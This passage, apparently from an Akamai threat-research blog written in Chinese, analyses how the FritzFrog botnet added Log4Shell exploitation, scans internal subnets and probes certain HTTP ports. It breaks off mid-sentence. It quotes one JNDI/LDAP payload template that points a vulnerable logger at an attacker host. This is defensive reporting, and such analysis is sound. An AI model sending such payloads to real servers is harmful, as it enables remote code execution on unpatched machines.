FritzFrog 的背景
Akamai 通过我们的全球传感器网络持续监控威胁,包括我们之前发现的威胁。其中包括FritzFrog 僵尸网络(最初于 2020 年发现),这是一个基于 Golang 的复杂点对点僵尸网络,经过编译可同时支持基于 AMD 和 ARM 的机器。该恶意软件得到积极维护,多年来通过增加和改进功能不断发展。
FritzFrog 一直使用 SSH 暴力破解进行攻击,多年来成功入侵了数千个目标。每个被入侵的主机都成为 FritzFrog 网络的一部分 — 它与受感染的对等体进行通信,以共享信息、有效载荷和配置。
由于持续的维护,该恶意软件在其武器库中包含了许多有趣的功能,包括我们将在本博客中讨论的新增功能,例如引入Log4Shell 漏洞利用。例如,它试图避免接触磁盘以限制检测机会,支持通过 TOR 进行通信,甚至还有一个可以杀死竞争恶意软件的“防病毒”模块。
使用 Log4Shell 作为感染媒介
传统上,FritzFrog 依靠 SSH 暴力破解作为其唯一的感染媒介,但该恶意软件的最新版本现在包含一个新的媒介:Log4Shell漏洞利用,在我们这里被称为极其激进的“Frog4Shell”。
Log4Shell 漏洞最初于 2021 年 12 月被发现,并引发了持续数月的全行业修补狂潮。即使在 2 年后的今天,仍有许多面向互联网的应用程序容易受到此漏洞的攻击。
易受攻击的面向互联网的资产是一个严重的问题,但 FritzFrog 实际上对另一种类型的资产——内部主机构成了风险。当该漏洞首次被发现时,面向互联网的应用程序由于其存在重大的入侵风险而被优先修补。相比之下,不太可能被利用的内部机器经常被忽视并且未得到修补——FritzFrog 利用了这种情况。
作为其传播程序的一部分,恶意软件试图瞄准内部网络中的所有主机。它通过调用net__Interface_Addrs标准 Go 函数来识别可访问的子网并瞄准每个子网中的可能地址来实现这一点。在图 1 中,我们可以看到恶意软件试图连接到本地网络中的所有地址。
图 1:FritzFrog 扫描本地网络以识别目标
这意味着,即使“高调”的面向互联网的应用程序已经修补,FritzFrog 对网络中的任何资产的破坏都可能使未修补的内部资产受到攻击。
FritzFrog 通过查找端口 8080、8090、8888 和 9000 上的 HTTP 服务器来识别潜在的 Log4Shell 目标。为了触发此漏洞,攻击者需要强制易受攻击的 log4j 应用程序记录包含有效负载的数据(表 1):
${jndi:ldap://<attacker_address>/<payload>}
表 1:Log4Shell 有效载荷示例
该有效负载被易受攻击的 log4j 库错误地解